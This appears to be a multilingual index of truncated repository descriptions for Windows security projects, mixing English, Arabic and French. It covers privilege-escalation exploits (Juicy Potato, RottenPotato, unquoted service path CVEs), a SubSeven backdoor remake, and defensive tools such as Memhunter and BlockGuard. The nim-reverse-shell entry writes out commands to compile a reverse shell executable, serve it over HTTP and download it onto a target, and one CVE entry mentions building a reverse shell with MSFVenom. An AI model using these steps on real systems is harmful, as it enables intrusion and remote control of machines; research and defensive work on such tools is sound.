memhunter

Memhunter Automated hunting of memory resident malware at scale This project is WORK IN PROGRESS. Expect feature changes and binary releases on the upcoming weeks. Overview Memhunter is an endpoint sensor tool that is specialized in detecing resident malware, improving the threat hunter analysis...

juicy-potato

Juicy Potato abusing the golden privileges A sugared version ofRottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM Summary RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS...

RottenPotato

This code is no longer maintained - for a newer implementation see https://github.com/breenmachine/RottenPotatoNG RottenPotato Local Privilege Escalation from Windows Service Accounts to SYSTEM For a technical overview of this exploit see our blog post at...

CVE-2023-36168

CVE-2023-36168 توجد مشكلة في AVG AVG Anti-Spyware الإصدار 7.5 تسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية عبر سكريبت مخصص عن طريق مكون guard.exe عنوان الاستغلال: AVG Anti Spyware 7.5 - مسار خدمة غير مقتبس التاريخ: 05/08/2023 مؤلف الاستغلال: Idan Malihi الصفحة الرئيسية للبائع: https://www.avg.com...

CVE-2017-1000475

CVE-2017-1000475: مسار خدمة FreeSSHd غير المُقتبس إثبات المفهوم Windows 10 مع freeSSHd 1.3.1، مثبَّت افتراضيًا مع خيار التشغيل كخدمة نظام. الأمر للتحقق من مسار الخدمة غير المُقتبس. الخدمة غير مُقتبسة افتراضيًا. تعمل العملية كـ SYSTEM افتراضيًا. أنشئ صدفة عكسية Reverse Shell باستخدام MSFVenom للتح...

CVE-2023-36169

CVE-2023-36169 تسمح مشكلة في SlySoft Game Jackal Pro v.5.2.0.0 لمهاجم بتنفيذ كود عشوائي عبر مكوّن server.exe عنوان الاستغلال: Game Jackal Server v5 - مسار خدمة غير مُقتبس التاريخ: 05/08/2023 مؤلف الاستغلال: Idan Malihi الصفحة الرئيسية للبائع: https://www.allradiosoft.ru رابط البرنامج:...

SMB-Session-Spoofing

/ | / || \ / | / | / | \ --.| . . || |/ / \ --. \ --. | | --. \ |/| || \ --. / / / | |/ | ' \ --. \ ' \ / \ / | / \ '| // / | | || |/ / // / /\ \ \ | | | | | // / | | | | || / | /| |// / ||//|/|| || /| ./ / /|| || | | || Welcome! This is a utility that can be compiled with Visual...

juicy-potato

Juicy Potato abus des privilèges dorés Une version sucrée deRottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'élévation de privilèges locaux, des comptes de service Windows à NT AUTHORITY\SYSTEM Résumé RottenPotatoNG et ses variantes exploitent la chaîne d'élévation de privilèges...

memhunter

Memhunter صيد آلي للبرامج الضارة المقيمة في الذاكرة على نطاق واسع هذا المشروع قيد التطوير. يُتوقع تغييرات في الميزات وإصدارات ثنائية في الأسابيع القادمة. نظرة عامة Memhunter هي أداة استشعار طرفية متخصصة في اكتشاف البرامج الضارة المقيمة، مما يحسن عملية تحليل الصيادين وأوقات المعالجة. تكتشف الأداة...

CVE-2022-45988

CVE-2022-45988 StarSoftComm HP CooCare توجد ثغرة تصعيد صلاحيات لقد تواصلت مع hp-security-alert وقد أصلحوا هذا الخطأ. بخصوص StarSoftComm CooCare HP-PSRT-IR 4106 استجاب البائع بالمعلومات التالية: اتبع هذه الخطوات للتحديث: 1. تشغيل eService 2. انتظر حوالي 3 دقائق 3. أغلق eService وقم بتشغيله مرة أخر...

CVE-2023-36164

CVE-2023-36164 Un problème dans MiniTool Partition Wizard ShadowMaker v.12.7 permet à un attaquant d'exécuter du code arbitraire via le composant MTAgentService Titre de l'exploit : MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path Date : 05/08/2023 Auteur de l'exploit : Idan...

KilledProcessCanary

Windows Killed Process Canary خدمة Windows تكتشف إذا تم إيقافها وتُدخل المضيف في وضع الإسبات إذا كانت هناك عدة نسخ قيد التشغيل. أُصدرت كمصدر مفتوح بواسطة NCC Group Plc - http://www.nccgroup.com/ طُوّرت بواسطة Ollie Whitehouse، ollie dot whitehouse at nccgroup dot com...

caldera-agent

وكيل CALDERA يحتوي مجلد calderaagent على الكود المصدري لوكيل CALDERA أو cagent ، وهي خدمة ويندوز تسهّل التواصل بين خادم CALDERA وRats الخاصة بـ CALDERA. يجب تثبيت برنامج cagent على كل جهاز يشارك في عملية محاكاة الخصم. وبمجرد تكوينه، سيتصل بخادم CALDERA ويُضاف كخيار للمشاركة في عملية. متطلبات...

BlockGuard

🛡️ BlockGuard — Process-Based File Access Security Agent BlockGuard is a Windows Data Loss Prevention DLP agent that intercepts and controls file access at the process level. It ensures that only authorized processes — identified by executable path, cryptographic hash, Authenticode signature, and...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Exemple : sudo apt install nim mettez à jour le script en conséquence nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop...

CVE-2025-27237

CVE-2025-27237 ثغرة رفع امتيازات محلية في Zabbix Agent/Agent2 لنظام Windows عبر اختطاف ملف تكوين OpenSSL. نظرة عامة الحقل| القيمة ---|--- CVE ID| CVE-2025-27237 CVSS v4.0| 7.3 عالي CWE| CWE-427: عنصر مسار بحث غير مُتحكم به النوع| رفع امتيازات محلي المورّد| Zabbix يقوم وكيل Zabbix لنظام Windows...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - ثغرة في تتبع خدمة ويندوز مايكروسوفت لنقل ملفات عشوائية ورفع الامتيازات محليًا لمزيد من المعلومات: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

CVE-2026-36213

CVE-2026-36213 CVE-2026-36213 | تصعيد محلي للامتيازات في MEmu Android Emulator 9.2.7.0 عبر صلاحيات غير آمنة لملف الخدمة التنفيذي | تم إصلاحه في 9.3.2 CVE-2026-36213 — تصعيد محلي للامتيازات في MEmu Android Emulator 9.2.7.0 الملخص ثغرة تصعيد محلي للامتيازات LPE في MEmu Android Emulator 9.2.7.0. تعم...

SubSeven

SubSeven Legacy « SubSeven Legacy est une refonte complète du tristement célèbre SubSeven Backdoor également connu sous le nom de Sub7, un cheval de Troie d'accès à distance populaire de la fin des années 90. Vous trouverez plus d'informations sur le Sub7 Backdoor d'origine sur la page Wikipédia...

CVE-2021-1675

شرح الثغرة طابعة سبولر هي خدمة ويندوز تدير قوائم الطباعة. تستقبل المهام التي يرسلها المستخدم، وتحولها إلى تنسيق تفهمه الطابعة، وترسلها عندما تكون الطابعة متاحة. تعمل كخدمة نظام spoolsv.exe بصلاحيات عالية، مما يجعلها هدفًا متكررًا للهجمات، مثل ثغرة PrintNightmare. كيفية استغلالها عندما يحاول المها...